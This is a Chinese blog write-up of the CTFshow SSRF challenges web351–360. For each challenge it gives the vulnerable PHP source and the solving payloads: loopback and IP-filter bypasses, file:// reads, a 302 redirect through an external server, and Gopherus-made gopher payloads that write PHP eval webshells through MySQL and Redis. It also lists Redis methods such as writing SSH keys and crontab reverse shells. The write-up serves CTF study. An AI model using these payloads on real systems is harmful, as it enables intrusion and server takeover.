CTFshow——SSRF

PHP SSRF漏洞利用与绕过方法解析
原创 已于 2022-04-23 15:00:47 修改 · 3.8k 阅读 · 2 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#web安全 #安全

于 2022-04-23 15:00:19 首次发布

Web351

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

在这里插入图片描述

可以看到提示非本地用户禁止访问，实际上就是模拟了一个内网环境，只有内网的用户才能进行访问，而外部访客则不行

方法一：

既然说必须是本地用户，那我们就使用内网的ip进行访问
在这里插入图片描述

POST传参

url=http://127.0.0.1/flag.php

方法二：

使用文件包含直接包含所谓只有内网才能访问的内容

post传参:

url=file:///var/www/html/flag.php

在这里插入图片描述

Web352

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> hacker

直接访问flag.php发现还是提示非本地用户禁止访问

仔细看源码与上题的区别在于增加了验证

if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){

理论上应该用进制转换（url=http://0x7F000001/flag.php），特殊的0地址（url=http://0/flag.php）等一些方法绕过，但是我不知道为哈我直接用127.0.0.1也能过
在这里插入图片描述

Web353

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

看一下过滤内容，再结合上题总结的发现，进制转换或者特殊0地址都是可以用的

在这里插入图片描述

Web354

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

看代码知道localhost，1，0，。都没法用了，我们可以使用一个自己的域名

然后将域名的DNS解析A类指向127.0.0.1（如下图）

对于这道题来说，很多人没有自己的域名更没有解析记录

恰好http(s)😕/sudo.cc/这个域名的解析是指向127.0.0.1的，所以可以直接post传参

url=http://sudo.cc/flag.php

在这里插入图片描述

在这里插入图片描述

PS：什么是域名解析A类？

在这里插入图片描述

Web355

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

多了一个限制让host位数小于5

省略绕过即可

url=http://127.1/flag.php
或
url=http://0/flag.php

Web356

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=3)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

host位数小于3，依旧是省略绕过

url=http://0/flag.php

Web357

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
    die('ip!');
}
echo file_get_contents($_POST['url']);
}
else{
    die('scheme');
}
?>

gethostbyname — 返回主机名对应的 IPv4地址。 
filter_var — 使用特定的过滤器过滤一个变量
FILTER_FLAG_NO_PRIV_RANGE - 要求值是 RFC 指定的私域 IP （比如 192.168.0.1）
FILTER_FLAG_NO_RES_RANGE - 要求值不在保留的 IP 范围内。该标志接受 IPV4 和 IPV6 值

补充：
FILTER_FLAG_IPV4 - 要求值是合法的 IPv4 IP（比如 255.255.255.255）
FILTER_FLAG_IPV6 - 要求值是合法的 IPv6 IP（比如 2001:0db8:85a3:08d3:1319:8a2e:0370:7334）

简单来说就是过滤掉了私有地址的访问

这里我们可以使用302跳转进行绕过

302跳转：

举个例子，我们假设淘宝更换了新的域名，但是对于广大用户来说他们只记

得taobao.com这个熟悉的域名，那么为了方便用户我们可以采用302跳转，

就对taobao.com配置302跳转到新域名地址，保证服务的延续

方法一：

在自己服务器上写个a.php文件内容如下

<?php
header("Location:http://127.0.0.1/flag.php");

然后payload写自己的这个地址就可以了

payload:

url=http://139.9.178.245:60/a.php

在这里插入图片描述

方法二：

对于没有自己没有服务器的

在这个网站注册一个账号http://ceye.io/，然后会给你分配一个域名，修改

原理可以看下大佬写的文章https://zhuanlan.zhihu.com/p/89426041

方法看优快云博主「yu22x」：https://blog.youkuaiyun.com/miuzzx/article/details/111992415

Web358

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
    echo file_get_contents($url);
}

正则匹配：以以http://ctf.开头，以show结尾

以show结尾比较好办，要么#show，要么?a=show这样的都可以

以http://ctf.开头的话，加一个@127.0.0.1绕过，这样parse_url解析出来的host是127.0.0.1

url=http://ctf.@127.0.0.1/flag.php?show

Web359

使用工具Gopherus（工具放进kali直接命令窗运行即可）

python gopherus.py --exploit mysql
root
select "这里写一句话木马" into outfile "/var/www/html/1.php"

运行后会得到payload

由于传上去会被解码，所以需要多进行一次urlencode

在这里插入图片描述

在这里插入图片描述

Web360

提示：打redis

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

方法同上

python gopherus.py --exploit redis
php
<?php eval($_POST['1']);?>

默认存储文件名称为shell.php

在这里插入图片描述

Redis配合gopher协议进行SSRF

概述

`Gopher`协议是 HTTP 协议出现之前，在 Internet 上常见且常用的一个协议，不过现在gopher协议用得已经越来越少了
`Gopher`协议可以说是SSRF中的万金油。利用此协议可以攻击内网的 redis、ftp、mysql等等，也可以发送 GET、POST 请求。这无疑极大拓宽了 SSRF的攻击面。

利用条件

能未授权或者能通过弱口令认证访问到Redis服务器

利用

redis常见的SSRF攻击方式大概有这几种：

  1. 绝对路径写webshell
  2. 写ssh公钥
  3. 写contrab计划任务反弹shell

绝对路径写webshell

这个方法比较常用，用得最多

  1. 构造redis命令
  2. 使用脚本，转化为redis RESP协议的格式
  3. 生成payload后，用curl打
  4. 执行成功后，查看shell是否写入成功
ctfshow-ssrf
孤桜懶契
08-21 438
前言 记录web的题目wp，慢慢变强，铸剑。 SSRF SSRF(Server-Side Request Forgery: 服务器端请求第二天) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下，SSRF 攻击的目标是从网无法访问的内部系统。（因为它是由服务端发起的，所以它能够请求到与它相关而与外部网隔离的内部系统） web351 <?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $ch=cu
ctfshow SSRF
..
02-28 1193
web 351 直接读取本地文件 url=file:///var/www/html/flag.php url=127.0.0.1/flag.php web352 这里要求是http或者https协议，只需要满足这个就可以了。 url=http://localhost/flag.php url=http://127.0.0.1/flag.php url=http://127.1/flag.php url=http://0.0.0.0/flag.php url=http:/...
ctfshow--ssrf
ing_end的博客
04-23 4272
SSRF概述及其危害 *SSRF概述 ​ 强制服务器发送一个攻击者的请求 ​ 互联网上的很多web应用提供了从其他服务器（也可以是本地)获取数据的功能。使用用户指定的URL，web应用可以获取图片（载入图片）、文件资源（下载或读取)。如下图所示，百度提供识图功能。如果链接可以访问任意请求，则存在ssrf漏洞 ​ 用户可以从本地或者URL的方式获取图片资源，交给百度识图处理。如果提交的是URL地址，该应用就会通过URL寻找图片资源。如果web 应用开放了类似于百度识图这样的功能，并且对用户提供的URL和远端
CTFshow SSRF
starttv的博客
11-23 1897
服务端请求伪造（Server Side Request Forgery, SSRF）指的是攻击者在未能取得服务器所有权限时，利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网。SSRF攻击通常针对外部网络无法直接访问的内部系统。
ctfshow——反序列化
qq_55202378的博客
02-26 1214
不要相等即可，注意GET传参时也要做修改。这里就是使用GET传输，username赋值为。变量进行反序列化，因此只需要GET传输的变量。以上一题相比，其实就是反序列化的类中的变量。，注意需要对user的值进行URL编码。，password也1赋值为。相等，且反序列化后的。
ctfshow————反序列化
qq_45655564的博客
06-30 1041
web254 <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-02 17:44:47 # @Last Modified by: h1xa # @Last Modified time: 2020-12-02 19:29:02 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); highlight_file(__
【CTFshow】SSRF web351-360wp
weixin_51614272的博客
03-06 572
目录web351、352、353 、355、356web354、357web358web359、360 具体解析请查看这里：点击此处 web351、352、353 、355、356 url=http://0/flag.php url=http://0.0.0.0/flag.php url=http://127.1/flag.php url=http://2130706433/flag.php url=http://017700000001/flag.php url=http://0b111111100000
CTFshow_Web_SSRF——web351~web360（除354、357）
Ho1aAs‘s Blog
03-18 2589
文章目录前言一、知识点Ⅰ、SSRF攻击点Ⅱ、gopher协议二、题解web351web352、353web355web356web358web359web360完 前言 354和357由于端口改变、服务器所限等原因，无法解出 一、知识点 Ⅰ、SSRF攻击点 <?php $url=$_POST['url']; $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER,
ctfshow ssrf篇
m0_62422842的博客
07-10 846
ctfshow入门中的ssrf篇
ctfshow ssrf
weixin_52240463的博客
01-23 3420
ctfshow ssrf
ctfshow-SSRF
njh18790816639的博客
04-19 664
SSRF 其全称：Server—Side Request Forgery :服务器端请求伪造 是一种由攻击者构造形成的由 服务器端发起请求的一个安全漏洞。一般情况下，攻击的目是外网没有办法访问的内网。 很多WEb应用都其提供了从其他服务器上获取数据的功能，使用指定的url,web 应用可以获取图片，下载文件，读取文件等。这个功能如果被恶意使用，可以利用存在缺陷的web引用做为代理，攻击远程和本地服务器。 web351 <?php error_reporting(0); highlight_file(_
ctfshow——SSRF
qq_55202378的博客
05-02 1631
(Server-Side Request Forgery：服务器端请求伪造) 是一种由攻击者构造形成的一个安全漏洞。一般情况下，SSRF攻击的目标是从外网无法访问的内部系统。（正是因为它是由服务端发起的，所以它能够请求到与它相连而与外网隔离的内部系统）
CTFSHOW SSRF篇
羽的博客
01-05 4844
了前八道题，因为题目上的比较匆忙，提前做下就当测试题目了。 web351 存在一个flag.php页面，访问会返回不是本地用户的消息，那肯定是要让我们以本地用户去访问127.0.0.1/flag.php payload:url=http://127.0.0.1/flag.php web352 过滤了localhost和127.0.0。还是有很多方法的，比如127.0.1 、127.1、 127。0.0.1 或者转成16进制 2进制 转进制的地址https://tool.520101.com/wangluo/
ctfshow—ssrf
最新发布
2401_87493916的博客
12-17 1427
if判断⾥的： FILTER_FLAG_IPV4 - 要求值是合法的 IPv4 IP FILTER_FLAG_IPV6 - 要求值是合法的 IPv6 IP FILTER_FLAG_NO_PRIV_RANGE - 要求值是 RFC 指定的私域 IP （⽐如 192.168.0.1） FILTER_FLAG_NO_RES_RANGE - 要求值不在保留的 IP 范围内。cURl去获取$url指定的页面内容，curl_setopt 函数设置 cURL 选项，curl_exec 函数执行 cURL 会话。
CTFSHOW-SSRF
m0_74456293的博客
04-09 350
CTFSHOW-SSRF
ctfshow-web入门 ssrf篇
volcano的博客
03-06 2697
ctfshowSSRF简介危害web351web352parse_urlweb353更改IP地址写法web354web355web356web357web358web359(打无密码的mysql)web360(打redis) SSRF 简介 服务端请求伪造（Server Side Request Forgery, SSRF）指的是攻击者在未能取得服务器所有权限时，利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网。SSRF攻击通常针对外部网络无法直接访问的内部系统。 危害 SSRF可以对外网、
PHP FILTER_VALIDATE_IP 过滤器
weixin_34403693的博客
06-25 455
FILTER_VALIDATE_IP 过滤器把值作为 IP 进行验证，用于验证 IP 是否合法，支持 IPV6 验证 例子 <?php $ip = "192.168.0.1"; if(!filter_var($ip, FILTER_VALIDATE_IP)) { echo "IP is not valid"; } else { echo "IP is v...
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
表情包 代码片
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

枫糖丶

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值